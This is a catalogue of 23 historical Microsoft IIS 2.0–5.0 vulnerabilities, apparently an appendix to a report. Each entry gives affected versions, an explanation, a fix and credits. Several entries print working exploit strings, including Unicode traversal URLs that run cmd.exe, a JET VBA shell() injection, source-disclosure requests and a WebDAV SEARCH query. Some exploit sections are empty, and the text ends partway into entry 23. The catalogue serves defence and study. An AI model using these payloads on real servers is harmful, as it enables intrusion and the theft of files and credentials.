APPENDIX A

LIST OF IIS VULNERABILITIES
APPENDIX A

LIST OF IIS VULNERABILITIES

1) Microsoft IIS Appended Dot Script Source Disclosure Vulnerability

- Error Class: Design Error (2074)
- vulnerable
  - Microsoft IIS 3.0
    - Microsoft Windows NT 4.0
  - Microsoft IIS 2.0
    - Microsoft Windows NT 4.0
- not vulnerable
  - Microsoft IIS 5.0
    - Microsoft Windows NT 2000
  - Microsoft IIS 4.0
    - Microsoft Windows NT 4.0
    - Microsoft BackOffice 4.5
      - Microsoft Windows NT 4.0
      + Microsoft BackOffice 4.0
      - Microsoft Windows NT 4.0

Discussion
Microsoft Internet Information Server (IIS) is a popular web server, providing support for a variety of scripting languages, including ASP (active server pages). IIS 2.0 and 3.0 suffer from an issue allowing a remote user to retrieve the source code for any script (that has read permissions on the server) via a web browser. This is accomplished by appending a period (.) to the end of a URL requesting a specific script, and applies to any file types in the "script-map list", including .asp, .ht, .id, .PL, and others. Consequences of exploitation vary depending on the site design, but commonly include details of directory structure on the web server, database passwords, and various other pieces of information that could then be used to mount further attacks.

Exploit
http://www.target.host/aspfile.asp.
http://www.target.host/scriptfile.ht
http://www.target.host/scriptfile.id.
http://www.target.host/scriptfile.PL.

Solution
Microsoft has released fixes for this issue. Upgrading to a later version of IIS will also alleviate this problem. A workaround is to remove read permissions from the script files, or the directory housing them.

Credit
Posted to BugTraq on February 20, 1997 by Mark Joseph Edwards < mark@ntshop.net >

125
2) Microsoft IIS 3.0 newdsn.exe File Creation Vulnerability

- Error Class: Configuration Error (1818)
- vulnerable
  - Microsoft IIS 3.0
  + Microsoft Windows NT 4.0
- not vulnerable

**Discussion**

Microsoft IIS 3.0 came with a sample program, newdsn.exe, installed by default in the directory wwwroot/scripts/tools/. Execution of this program with a properly submitted URL could allow for remote file creation. The file created is a Microsoft Access Database, but can have any extension, including .html.

**Exploit**


**Solution**

**Credit**

This vulnerability was originally posted to ntbugtraq by Vytis Fedaravicius <vytix@FLOYD.KTU.LT> on September 25, 1997.
3) Microsoft IIS 3.0/4.0 Upgrade BDIR.HTR Vulnerability

- Error Class: Access Validation Error (2280)
- vulnerable
  - Microsoft IIS 4.0
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.5
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.0
    - Microsoft Windows NT 4.0
  - Microsoft IIS 3.0
    + Microsoft Windows NT 4.0
- not vulnerable

Discussion
Microsoft Internet Information Server (IIS) 3.0 came with a series of remote administration scripts installed in /scripts/iisadmin off the web root directory. ism.dll is required for processing these scripts, and version 3.0 of IIS came with an ism.dll containing an authentication scheme to prevent unauthorized access. If an IIS 3.0 installation is upgraded to IIS 4.0 without removing these scripts, they can be accessed remotely without authentication due to changes in the authentication methods used by IIS 4.0. One of these scripts, bdir.htr, still functions under the IIS 4.0 server – and can be used by a remote attacker to obtain information about the server’s directory structure. The script displays a directory listing of a directory specified as part of a request – but only directory names are displayed. Although privilege elevation cannot be accomplished directly by exploiting this script, the information about the server’s directory structure thus obtained could potentially be used in mounting further attacks.

Exploit
This can be exploited by requesting the following from the web server:

http://victim/scripts/iisadmin/bdir.htr??<path>

eg.,

http://www.victim-host.xxx/scripts/iisadmin/bdir.htr??d:\webs\n
Solution
Delete the script bdir.htr, it is not required for normal system function.

Credit
Originally disclosed in Phrack Magazine issue 54 by rain forest puppy.
4) NT IIS idq.dll Directory Traversal Vulnerability

- Error Class: Input Validation Error (968)
- vulnerable
  - Microsoft IIS 4.0
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.5
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.0
    - Microsoft Windows NT 4.0
  - Microsoft IIS 3.0
    + Microsoft Windows NT 4.0
    - Microsoft IIS 4.0
    - Microsoft Windows NT 4.0
- not vulnerable

Discussion
A vulnerability in idq.dll can allow an attacker to gain read access to any file on the same logical drive as the web server virtual root. The attacker has to know the physical path and filename of the requested file, and the ACL for the file must specify read access for either the anonymous user or the Everyone or Guest group.

idq.dll will follow the ‘../’ string in the specification of a template file. Any file can be specified as the template file. Although some IDQ files append the ‘.htx’ extension to the user’s input, it is possible to circumvent this by appending several spaces to the end of the requested filename, e.g: ‘desiredfile.txt%20%20%20...%20%20.htx’. What this will do is provide the ‘.htx’ so the system thinks it is a valid template file, but when it retrieves the file the ‘.htx’ string is pushed out of the buffer, the spaces are ignored, and the desired file is returned.

Exploit
Example:
http://target/query.idq?CiTemplate=../../somefile.ext

Solution
Microsoft’s webhits.dll patch addresses some of the issue. It is available at:
Also, IDQ files should be edited to force usage of specific template files, eliminating user input from the process. For example,
Old -> CiTemplate=%TemplateName%
New -> CiTemplate=/path/actualtemplate.htx

Credit
Discovered By Mnemonix, Published in CIS advisory CISADV000202 on February 2, 2000.
5) Microsoft IIS 4.0 IISADMPWD Proxyed Password Attack

- Error Class: Configuration Error (2110)
- vulnerable
  - Microsoft IIS 4.0
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.5
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.0
    - Microsoft Windows NT 4.0
  - not vulnerable

Discussion
Microsoft IIS is a popular web server package for Windows NT based platforms. Version 4.0 of IIS installs a remotely accessible directory, /IISADMPWD – mapped to c:\winnt\system32\inetsrv\iisadmpwd, which contains a number of vulnerable .HTR files. These were designed to allow system administrators the ability to provide HTTP based password change services to network users. The affected files, achg.htr, aexp*.htr, and anot*.htr can be used in this manner. A microsoft bulletin on the feature recommends using /IISADMPWD/aexp.htr for this purpose. Requesting one of the listed .htr files returns a form that requests the account name, current password, and changed password.

This can be used to determine whether or not the account requested exists on the host, as well as conduct brute force attacks. If the account does not exist, the message “invalid domain” is returned - if it does, but the password change was unsuccessful, the attacker is notified. This can be used against the server and against other machines connected to the local network (and possibly even other machines on the internet), by preceding the account name with an IP address and a backslash. (e.g., XXX.XXX.XXX.XXX\ACCOUNT) The server contacts the networked machine through the NetBIOS session port and attempts to change the password.

Exploit

Solution
Microsoft refers to this as a feature for network administrators, but do point out in article Q184619 that it is a potential security risk. According to the article, “You can configure a site to support password changes by setting the following properties on the site: PasswordCacheTTL, PasswordChangeFlags and PasswordExpirePrenotifyDays. Refer to the IIS documentation for more details on these properties.” It may be prudent to disable this feature if it is accessible by untrusted machines.

Credit
Posted to BugTraq on February 9, 1998 by David Litchfield <mnemonix@globalnet.co.uk>
6) IIS 4.0 fpcount.exe Buffer Overflow Vulnerability

- Error Class: Boundary Condition Error (2252)
- vulnerable
  - Microsoft IIS 4.0
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.5
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.0
    - Microsoft Windows NT 4.0
- not vulnerable

Discussion
fpcount.exe is a site visit counter included with the Internet Information Server version 4.0. IIS 4.0 is part of the Microsoft Windows NT 4.0 Operating System, distributed and maintained by the Microsoft Corporation.

A vulnerability in the package could allow a user to execute arbitrary code on a running server. The problem lies in a buffer overflow in the fpcount.exe binary. It is possible to exploit the buffer overflow in fpcount.exe remotely, thus overwriting stack variables, including the return address. This design flaw makes it possible for a user with malicious motives to execute arbitrary code, and potentially gain access and possibly administrative privileges to a remote system.

Exploit
http://target/_vti_bin/fpcount.exe?Page=default.htm|Image=3|Digits=15

Solution

Credit
This vulnerability was first announced by mnemonix <mnemonix@globalnet.co.uk> on January 14, 1999 via Bugtraq.
7) NT IIS4 Remote Web-Based Administration Vulnerability

- Error Class: Access Validation Error (189)
- vulnerable
  - Microsoft IIS 4.0
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.5
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.0
    - Microsoft Windows NT 4.
- not vulnerable
  - Microsoft IIS 3.0
    + Microsoft Windows NT 4.0
  - Microsoft IIS 2.0
    + Microsoft Windows NT 4.0

Discussion
Web-based administration for IIS 4.0 is, by default, limited to the local loopback address, 127.0.0.1. In instances where IIS4.0 was installed as an upgrade to IIS 2.0 or 3.0, a legacy ISAPI DLL (ISM.DLL) is left in the /scripts/iisadmin directory. An attacker may call this DLL via the following syntax:


This URL prompts the user for a username/password to access the remote administration console. Although approved access does not permit the user to commit changes to the IIS server, it may allow them to gather sensitive information about the web server and its configuration.

Exploit

Solution
Delete the ISM.DLL from the /scripts/iisadmin directory.

Credit
This vulnerability was posted to NTBugtraq by David Litchfield (Mnemonix).
8) NT IIS4 DoS - ExAir Sample Site Vulnerability

- Error Class: Unknown (193)
- vulnerable
  - Microsoft IIS 4.0
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.5
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.0
    - Microsoft Windows NT 4.0
- not vulnerable

Discussion
An IIS4 sample site “ExAir” has three ASP pages, that if called directly without having the sample site dlls running, will cause the server CPU to increase to 100%. These pages include:

Exair - root/search/advsearch.asp
Exair - root/search/query.asp
Exair -root/search/search.asp

Exploit
http://www.server.com/iissamples/exair/search/advsearch.asp

Solution
Do not install sample sites when creating an IIS server. Delete all files and directories that contain sample site pages.

Credit
This vulnerability was posted to NTBugtraq mailing list by David Litchfield (Mnemonix).
9) NT IIS Showcode ASP Vulnerability

- Error Class: Access Validation Error (167)
- vulnerable
  - Microsoft IIS 4.0
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.5
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.0
    - Microsoft Windows NT 4.0
  - Microsoft Site Server 3.0
    + Microsoft Site Server 3.0 Commerce Edition
    - Microsoft Windows NT 4.0
    - Microsoft IIS 4.0
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.5
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.0
    - Microsoft Windows NT 4.0
    + Microsoft Commercial Internet System 2.0
    + Microsoft BackOffice 4.5
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.0
    - Microsoft Windows NT 4.0
- not vulnerable

Discussion
A sample Active Server Page (ASP) script installed by default on Microsoft’s Internet Information Server (IIS) 4.0 gives remote users access to view any file on the same volume as the web server that is readable by the web server.

IIS 4.0 installs a number of sample ASP scripts including one called “showcode.asp”. This script allows clients to view the source of other sample scripts via a browser. The “showcode.asp” script does not perform sufficient checks and allows files outside the sample directory to be requested. In particular, it does not check for “..” in the path of the requested file.

The script takes one parameter, “source”, which is the file to view. The script’s default location URL is:
http://www.sitename.com/msadc/Samples/SELECTOR/showcode.asp

Similar vulnerabilities have been noted in ViewCode.asp, CodeBrws.asp and Winmsdp.exe.
Exploit

Using CodeBrws.asp, it is possible to view Outlook mail folders:
=/.../../winnt/Profiles/Administrator/Application%20Data/Microsoft/Outlook%20Express/
Mail/inbox.mbx

Solution
Do not install the sample code on production servers. If you have installed the sample
code remove it or install the patches found at:

- Internet Information Server:

- Site Server:
postsp2/Viewcode-fix/

Credit
This vulnerability was discovered by Parcens. The vulnerability was made public by
L0pht. Similar vulnerabilities were reported by Andrey Kruchkov and WebTrends.
10) Microsoft IIS UNC Path Disclosure Vulnerability

- Error Class: Configuration Error (1065)
- vulnerable
  - Microsoft IIS 5.0
    + Microsoft Windows NT 2000
  - Microsoft IIS 4.0
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.5
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.0
    - Microsoft Windows NT 4.0
- not vulnerable

Discussion
IDQ, IDA, and HTX files cannot be served from a network share. If a website is set up in this manner, and a user clicks on a link that links to one of these files, the share path will be disclosed to the user in the resulting error message.

Exploit
http://target/filename.idq
http://target/filename.ida
http://target/filename.htx

The requested file must be located on a network share.

Solution
This is a configuration error, and can be avoided by not attempting to serve these files from a network share.

Credit
Posted to Bugtraq on March 8, 2000 by Jason Lutz <jason@spis.net>.
11) Microsoft IIS 4.0 / 5.0 Extended UNICODE Directory Traversal Vulnerability

- Error Class: Input Validation Error (1806)
- vulnerable
  - Microsoft IIS 5.0
    - Microsoft Windows NT 2000
  - Microsoft IIS 4.0
    - Microsoft Windows NT 4.0
    - Microsoft BackOffice 4.5
    - Microsoft Windows NT 4.0
    - Microsoft BackOffice 4.0
    - Microsoft Windows NT 4.0
- not vulnerable

Discussion
Microsoft IIS 4.0 and 5.0 are both vulnerable to double dot "../" directory traversal exploitation if extended UNICODE character representations are used in substitution for "/" and "\".

Unauthenticated users may access any known file in the context of the IUSR_machinename account. The IUSR_machinename account is a member of the Everyone and Users groups by default, therefore, any file on the same logical drive as any web-accessible file that is accessible to these groups can be deleted, modified, or executed. Successful exploitation would yield the same privileges as a user who could successfully log onto the system to a remote user possessing no credentials whatsoever.

Exploit
http://target/scripts/..%c1%1c../path/file.ext
Eg.
http://target/scripts/..%c0%9v../winnt/system32/cmd.exe/?c+dir
http://target/scripts/..%c0%af../winnt/system32/cmd.exe/?c+dir
http://target/scripts/..%c0%qf../winnt/system32/cmd.exe/?c+dir
http://target/scripts/..%c1%8s../winnt/system32/cmd.exe/?c+dir
http://target/scripts/..%c1%9c../winnt/system32/cmd.exe/?c+dir
http://target/scripts/..%c1%pc../winnt/system32/cmd.exe/?c+dir

Solution
The patch released with the advisory MS00-057 (http://www.microsoft.com/technet/security/bulletin/ms00-057.asp) eliminates this vulnerability, therefore those who have already applied this patch do not have to take any further action. Otherwise, the patch is available at the following locations:

Credit
Discovered by an anonymous poster to a Packetstorm forum. Additional research conducted by Rain Forest Puppy <rfp@wiretrip.net>. Publicized in a Microsoft Security Bulletin (MS00-078) on October 17, 2000.
12) Microsoft IIS 3.0/4.0 'htimage' Vulnerability

- Error Class: Access Validation Error
- vulnerable
  - Microsoft IIS 4.0
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.5
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.0
    - Microsoft Windows NT 4.0
  - Microsoft IIS 3.0
    + Microsoft Windows NT 4.0
- not vulnerable

Discussion
Microsoft Internet Information Server (IIS) 3.0 came with a picture configuration file, himage.exe file located in the cgi-bin directory. A well-crafted URL could cause the IIS server to return an error message that includes the full path of the root web server directory. Although privilege elevation cannot be accomplished directly, the information about the server’s directory structure thus obtained could potentially be used in mounting further attacks.

Exploit
This can be exploited by requesting the following from the web server:

http://target-server/cgi-bin/htimage.exe?2,2

Solution

Credit
13) NT IIS Double Byte Code Page Vulnerability

- Error Class: Design Error (477)
- vulnerable
  - Microsoft IIS 4.0
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.5
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.0
    - Microsoft Windows NT 4.0
  - Microsoft IIS 3.0
    + Microsoft Windows NT 4.0
- not vulnerable
  - Microsoft IIS 2.0
  + Microsoft Windows NT 4.0

Discussion
This vulnerability could allow a web site viewer to obtain the source code for .asp and similar files if the server’s default language (Input Locale) is set to Chinese, Japanese or Korean. How this works is as follows:
IIS checks the extension of the requested file to see if it needs to do any processing before delivering the information. If the requested extension is not on its list, it then makes any language-based calculations, and delivers the file. If a single byte is appended to the end of the URL when IIS to set to use one of the double-byte language packs (Chinese, Japanese, or Korean) the language module will strip it as invalid, then look for the file. Since the new URL now points to a valid filename, and IIS has already determined that this transaction requires no processing, the file is simply delivered as is, exposing the source code.

Exploit
Request a URL of a known-good file that requires server processing, then append a hex value between x81 and xfe to the URL. For example: <http://myhost/main.asp%81>. If your server is vulnerable you will receive back the source code of your .asp file.

Solution
Microsoft has re-issued the patch to correct this vulnerability. The original hotfix was found to have a regression error. This patch can be downloaded from the original location, in the following languages at:
English:

The patch fixes the problem by checking for single bytes before determining whether any processing is required.

Credit
This vulnerability was discovered by Microsoft.
14) Microsoft IIS Internal IP Address Disclosure Vulnerability

- Error Class: Design Error (1499)
- vulnerable
  Microsoft IIS 5.0
    + Microsoft Windows NT 2000
  Microsoft IIS 4.0
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.5
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.0
    - Microsoft Windows NT 4.0
  Microsoft IIS 3.0
    + Microsoft Windows NT 4.0
  Microsoft IIS 2.0
    + Microsoft Windows NT 4.0
- not vulnerable

Discussion
When a remote user attempts to access an area protected by basic authentication with no realm defined, while specifying HTTP 1.0, Microsoft IIS will return an Access Denied error message containing the internal IP address of the host. Even if IIS is behind a firewall or NAT, it will disclose the true internal IP address to the remote user. Eg.

telnet target 80
Trying target...
Connected to target.
Escape character is '^['.
HEAD /directory HTTP/1.0(CRLF)
[CRLF]
HTTP/1.1 401 Access Denied
WWW-Authenticate: Basic realm="<Internal IP Address>"
Content-Length: 644
Content-Type: text/html

Exploit
HEAD /directory HTTP/1.0(CRLF)
[CRLF]

Solution
This behaviour can be altered by changing the w3svc/UseHostName value in the metabase from False to True. Detailed instructions can be found in the Microsoft knowledge base at: http://support.microsoft.com/support/kb/articles/Q218/1/80.ASP

Credit
Posted to NTBugtraq on July 13, 2000 by Dougal Campbell<dougal@GUNTERS.ORG>.
15) Microsoft JET Database Engine VBA Vulnerability

- Error Class: Input Validation Error (286)
- vulnerable
  - Microsoft IIS 4.0
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.5
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.0
    - Microsoft Windows NT 4.0
  - Microsoft JET 3.51
    + Microsoft Excel 97
    - Microsoft Windows 98
    - Microsoft Windows 95
    - Microsoft Windows NT 4.0
    + Microsoft Excel 95
    - Microsoft Windows 98
    - Microsoft Windows 95
    - Microsoft Windows NT 4.0
  - Microsoft JET 3.5
    + Microsoft Access 97
    - Microsoft Windows 98
    - Microsoft Windows 95
    - Microsoft Windows NT 4.0
    + Microsoft Access 95
- not vulnerable
  - Microsoft JET 4.0SP1
  - Microsoft JET 4.0
    + Microsoft Access 2000
    - Microsoft Windows 98
    - Microsoft Windows 95
    - Microsoft Windows NT 4.0
    - Microsoft Windows NT 2000
    + Microsoft Office 2000
    - Microsoft Windows 98
    - Microsoft Windows 95
    - Microsoft Windows NT 4.0
    - Microsoft Windows NT 2000

Discussion
Microsoft’s JET database engine feature allows the embedding of Visual Basic for Application in SQL string expressions and the lack of metacharacter filtering by many web applications may allow remote users to execute commands on the system.

Microsoft’s JET database engine (the core of Microsoft Access) allows the embedding of Visual Basic for Application expressions in SQL strings. VBA expressions within two ‘‖’ characters within an SQL string will be executed and its result substituted in the string.
The VBA code is evaluated in an expression context. That means you cannot make use of statements.

The Microsoft JET database engine can be used via the ODBC API. It is commonly used as a backend for web enabled applications. The fact that it uses the "\" character to execute VBA code within SQL statements in JET is a largely unknown feature, meaning that few applications escape user input for this metacharacter. Therefore any script or application that uses Microsoft's JET ODBC DSN could potentially be exploited.

Microsoft's IIS in particular executes ODBC commands in the context of the System account. This may allow remote attackers to input VBA code in web enabled applications that will be executed by IIS as the System user.

The most dangerous VBA command available to an attacker is shell(), which enables it to run any command in the system.

Microsoft's IIS 4.0 ships with a number of sample scripts that are vulnerable if used with the JET ODBC driver (e.g. details.idc). It also ships with MSADC which allows remote uses to execute SQL queries on a DNS via HTTP. Tests seem to indicate JET 4.0 is not vulnerable to this issue.

Exploit
This exploit uses an ASP sample page (catalog_type.asp). It lets you execute shell commands like the other scripts. It is an Active Server Page so it runs the query as a local user and doesn't need any type of Remote Data Service to access the DSN. It just requires the default DSN (advworks) set.

http://&nbsp;/server/AdvWorks/equipment/catalog_type.asp?ProductType=|shell("cmd+/c +dir+c:\")|

Scriptie <ronald@grafiix.nl> has released the following exploit:

/data/vulnerabilities/exploits/dsnhack.pl

Solution
Disable the JET ODBC drivers or upgrade to JET 4.0 or later. Please note that JET 4.0 may not be fully compatible with earlier versions and some applications may fail. JET 4.0 is part of Microsoft's Data Access (MDAC) 2.1.

Credit
This vulnerability was published in the BUGTRAQ mailing list by Matthew Astley and Rain Forest Puppy <rfp@wiretrip.net>. Exploit posted to Bugtraq by Wanderley J. Abreu Junior <storm@unikey.com.br>.
16) Microsoft IIS And PWS 8.3 Directory Name Vulnerability

- Error Class: Access Validation Error (582)
- vulnerable
  Microsoft IIS 4.0
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.5
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.0
    - Microsoft Windows NT 4.0
  Microsoft Personal Web Server 4.0
    + Microsoft Windows 98
    + Microsoft NT Option Pack for NT 4.0
    - Microsoft Windows NT 4.0
- not vulnerable

Discussion
In Microsoft's IIS and PWS, requesting the 8.3 version of a file or directory effectively bypasses the security attributes that are referenced to the full, long version of the filename, with permissions being based instead on those of the parent directory. Successful exploitation of this vulnerability could lead not only to unauthorized directory listings, but also to the remote execution of 'protected' scripts. For example: with directory listing enabled for C:\inetpub\wwwroot\ and listing disabled for C:\inetpub\wwwroot\longsubdir\, a GET request for http://server/longsubdir/ will result in a permission denied error, as it should. However, a GET request for http://server/longsu-1/ will result in a successful directory listing.

Exploit

Solution
1: In tests on NT based systems, applying SP4 or SP5 has fixed this issue. Be sure to re-apply the appropriate service pack after installing other software, as some systems that have had these applied have been shown to be vulnerable again later.
2: If possible, use NTFS security to limit access.
3: If only 8.3 file and directory naming is used in the web space, this vulnerability will not occur. Alternatively, for NTFS filesystems, you can disable 8.3 filenames entirely. Quoted from a Bugtraq post by David LeBlanc:
If you open the following registry key:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\FileSystem and create a value named NfsDisable8dot3NameCreation, type REG_DWORD, and set it to 1, then the operating system will not create 8.3 filenames (The PC will have to reboot for it to take effect). This is something that should be on anyone's checklist when setting up a web or FTP server prior to putting content on that server.

Credit
Posted to Bugtraq on August 16, 1999 by x-empt [ lvhc / lou ] <lvhc@URBAN-A.NET>.
17) Microsoft IIS UNC Mapped Virtual Host Vulnerability

- Error Class: Input Validation Error (1081)
- vulnerable
  - Microsoft Commercial Internet System 2.5
  - Microsoft Commercial Internet System 2.0
  - Microsoft IIS 5.0
    + Microsoft Windows NT 2000
  - Microsoft IIS 4.0
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.5
      - Microsoft Windows NT 4.0
      + Microsoft BackOffice 4.0
      - Microsoft Windows NT 4.0
  - Microsoft Site Server 3.0 Commerce Edition
    - Microsoft Windows NT 4.0
    - Microsoft IIS 4.0
      - Microsoft Windows NT 4.0
      + Microsoft BackOffice 4.5
- not vulnerable

Discussion
If a virtual host root is mapped to a UNC share, a backward slash "\" appended to an ASP or HTR extension in a URL request to that virtual host will cause Microsoft Internet Information Server to transmit full source code of the file back to a remote user. Files located on the local drive where IIS is installed are not affected by this vulnerability.

Exploit
http://target/file.asp\n
Solution
Microsoft has released patches which rectify this issue.

Microsoft IIS 5.0:
Microsoft patch Q260069_W2K_SP2_x86_en

Microsoft IIS 4.0:
Microsoft patch uncsec4i
http://download.microsoft.com/download/iis40/Patch/4.2.736.1/NT4/EN-US/uncsec4i.exe

Credit
Discovered by Adam Coyne <adam@coyne.nu> and publicized in Microsoft Security Bulletin (MS00-019) on March 30, 2000.
18) Microsoft Frontpage Server Extensions Path Disclosure Vulnerability

- Error Class: Design Error (1174)
- vulnerable
  Microsoft FrontPage 2000 Server Extensions 1.1 and previous
  + Microsoft FrontPage 2000.0
  - Microsoft Windows 98
  - Microsoft Windows 95
  - Microsoft Windows NT 4.0
  - Microsoft Windows NT 2000
  Microsoft FrontPage Server Extensions Module for Apache 3.0.43
  Microsoft IIS 5.0
  + Microsoft Windows NT 2000
  Microsoft IIS 4.0
  - Microsoft Windows NT 4.0
  + Microsoft BackOffice 4.5
  - Microsoft Windows NT 4.0
  + Microsoft BackOffice 4.0
  - Microsoft Windows NT 4.0
- not vulnerable
  Microsoft FrontPage 2000 Server Extensions 1.2
  + Microsoft FrontPage 2000.0
  - Microsoft Windows 98
  - Microsoft Windows 95
  - Microsoft Windows NT 4.0
  - Microsoft Windows NT 2000

Discussion
The local path of a HTML, HTM, ASP, or SHtml file can be disclosed in Microsoft IIS 4.0/5.0 / Frontpage Server Extensions 1.1 and prior. Passing a path to a non-existent file to the shtml.exe or shtml.dll (depending on platform) program will display an error message stating that the file cannot be found accompanied by the full local path to the web root. For example, performing a request for http://target/_vti_bin/shtml.dll/non_existant_file.html will produce an error message stating “Cannot open “C:\localpath\non_existant_file.html”: no such file or folder”.

Exploit
http://target/_vti_bin/shtml.exe/non-existent-file.html
http://target/_vti_bin/shtml.dll/non_existant_file.html

Solution
Microsoft will be addressing this issue with version 1.2 of Frontpage Server Ext 2000.

Credit
Posted to Bugtraq on May 6, 2000 by Frankie Zie <root@cnns.net>.
19) Microsoft IIS 4.0/5.0 Source Fragment Disclosure Vulnerability

- Error Class: Input Validation Error (1488)
- vulnerable
  - Microsoft IIS 5.0
    + Microsoft Windows NT 2000
  - Microsoft IIS 4.0
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.5
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.0
    - Microsoft Windows NT 4.0
- not vulnerable

Discussion
Microsoft IIS 4.0 and 5.0 can be made to disclose fragments of source code that should otherwise be inaccessible. This is done by appending "+.htr" to a request for a known .asp (or .asa, .ini, etc) file. Appending this string causes the request to be handled by ISM.DLL, which then strips the +.htr string and may disclose part or all of the source of the .asp file specified in the request. There has been a report that source will be displayed up to the first ‘<%’ encountered – ‘<%’ and ‘%>’ are server-side script delimiters. Pages which use the <script runat=server></script> delimiters instead will display the entire source, or up to any ‘<%’ in the page.

Exploit
http://victim/global.asa+.htr

Solution
Apply the vendor supplied patches. Disable HTR functionality if you do not need it.

Microsoft IIS 5.0:

Microsoft patch Q267559_W2K_SP2_x86_en

Microsoft IIS 4.0:

Microsoft patch htrdos4is.exe
http://download.micrlosft.com/download/winntsp/Patch/q267559/NT4ALPHA/EN-US/htrdos4is.exe

Credit
Zuo Lei was credited in the Microsoft Advisory (MS00-044). Additional information was gained from an advisory submitted by ISBASE.
20) Microsoft IIS 5.0 Indexed Directory Disclosure Vulnerability

- Error Class: Input Validation Error (1756)
- vulnerable
  Microsoft IIS 5.0
    + Microsoft Windows NT 2000
- not vulnerable

Discussion
If Index Server is enabled in Microsoft Internet Information Server 5.0, it is possible for a remote user to view the entire root directory structure and all sub-directories due to a flaw in the Web Distributed Authoring and Versioning (WebDAV) search implementation. Hidden directories, include files (*.inc), or other documents that would not normally be accessible through the regular website interface can be exposed through this exploit. Successful exploitation could lead to the discovery of certain files that may contain sensitive information such as usernames and passwords. The Index Server is disabled by default in IIS 5.0 and only directories that have the ‘Index’ property set are affected by this vulnerability.

Exploit
SEARCH / HTTP/1.1
Host: target
Content-Type: text/xml
Content-Length: 133

<?xml version="1.0"?>
<g:searchrequest xmlns:g="DAV:">
  <g:sql>
    Select "DAV:displayname" from scope()
  </g:sql>
</g:searchrequest>

Solution
Microsoft has released a knowledge base article detailing solutions for this issue. It is available at: http://www.microsoft.com/technet/support/kb.asp?ID=272079
Microsoft recommends the following:
- If you are not using Index Server (for example, you don’t have content on your Web site that you want to have searched), disable or uninstall the service.
- OR-
- In directories that contain sensitive information, make sure to disable the Index this resource option on the appropriate tab (for example, a virtual directory on the Virtual Directory tab).

Credit
Discovered by David Litchfield <dlitchfield@atstake.com> and publicized in a @stake security advisory (A100400-1) on October 4, 2000.
21) NT IIS FTP DoS / Buffer Overflow Vulnerability

- Error Class: Boundary Condition Error (192)
- vulnerable
  - Microsoft IIS 4.0
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.5
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.0
    - Microsoft Windows NT 4.0
  - Microsoft IIS 3.0
    + Microsoft Windows NT 4.0
- not vulnerable
  - Microsoft Windows NT 4.0SP3
  + Microsoft Windows NT 4.0

Discussion
There is a Denial of Service / Buffer Overflow condition in Microsoft IIS4 FTP service when using the NLST command. A user having user or anonymous access to the FTP server may initiate this attack.

Exploit
Connecting to the FTP server and issuing an ls command with 316 characters will cause the inetinfo.exe service to crash (and the connection to be reset). Passing more than 316 characters will cause the stack to be overwritten. Up to 505 characters may be passed.

Solution
For IIS 4.0, install the following Post SP4 hotfix:

For IIS 3.0, install the following Post SP4 hotfix:

Credit
This vulnerability was discovered by the eEye Digital Security Team (info@eEye.com) and was posted to the NTBugtraq mailing list by Kjell Wooding <kwooding@CODETALKER.COM>.
22) NT IIS SSL DoS Vulnerability

- Error Class: Design Error (521)
- vulnerable
  - Microsoft IIS 4.0
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.5
      - Microsoft Windows NT 4.0
      + Microsoft BackOffice 4.0
    - Microsoft Windows NT 4.0
  - Microsoft IIS 3.0
    + Microsoft Windows NT 4.0
- not vulnerable

Discussion
NT Servers running IIS with SSL security enabled are susceptible to a DoS attack due to the server’s inability to differentiate between pages that require SSL and those that don’t. Therefore, by replacing the ‘http’ string in the URL with ‘https’ the server can be forced to encrypt any content in the web site, including high-bandwidth pages. An attacker could, with carefully planned https requests, drive the processor utilization to 100% resulting in extreme slowdown or even failure of the server.

Exploit

Solution
Currently the only workaround for this issue is to separate secure and non-secure content onto different servers. Microsoft has been notified and has passed the information to the IIS Security and IIS Development teams.

Credit
Posted to NTbugtraq July 7, 1999 by Heather.Field (Exchange)
<Heather.Field@DHCMAIL.COM>
23) Microsoft IIS 3.0 .htr Missing Variable Denial of Service Vulnerability

- Error Class: Failure to Handle Exceptional Conditions (1476)
- vulnerable
  - Microsoft IIS 5.0
    + Microsoft Windows NT 2000
  - Microsoft IIS 4.0
    + Microsoft Windows NT 4.0
    - Microsoft BackOffice 4.5
    - Microsoft Windows NT 4.0
    + Microsoft BackOffice 4.0
    - Microsoft Windows NT 4.0
    + Microsoft Windows NT 4.0
  - Microsoft IIS 3.0
    + Microsoft Windows NT 4.0
- not vulnerable

Discussion
